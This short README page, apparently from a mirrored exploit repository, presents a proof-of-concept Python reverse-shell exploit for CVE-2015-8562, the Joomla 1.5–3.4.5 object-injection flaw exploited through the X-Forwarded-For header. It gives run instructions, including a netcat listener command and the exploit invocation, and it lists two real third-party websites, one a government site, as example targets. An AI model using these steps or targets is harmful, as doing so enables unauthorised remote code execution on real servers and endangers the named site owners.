CVE-2015-8562 PoC — Joomla! Core 远程代码执行漏洞

Description

Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header

介绍

# CVE-2015-8562 - Reverse shell python

Exploit: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header:

    Vuln Date: 12/17/2015
    Exploit Author: anarc0der
    Version: Joomla 1.5 to 3.4.5
    CVE : CVE-2015-8562

How to:
    
    Open one terminal and listen with nc: $ nc -lnvp 4444
    Open another terminal and execute the exploit:
    python3 rce.py --target='target' --ip='ip' --port=4444
    
Targets examples PoC (Do not fuck them, to other people use as exemple):
    
    http://www.monitoraggiograduatorie.gov.it/
    http://budo-aykac.nl/

文件快照

备注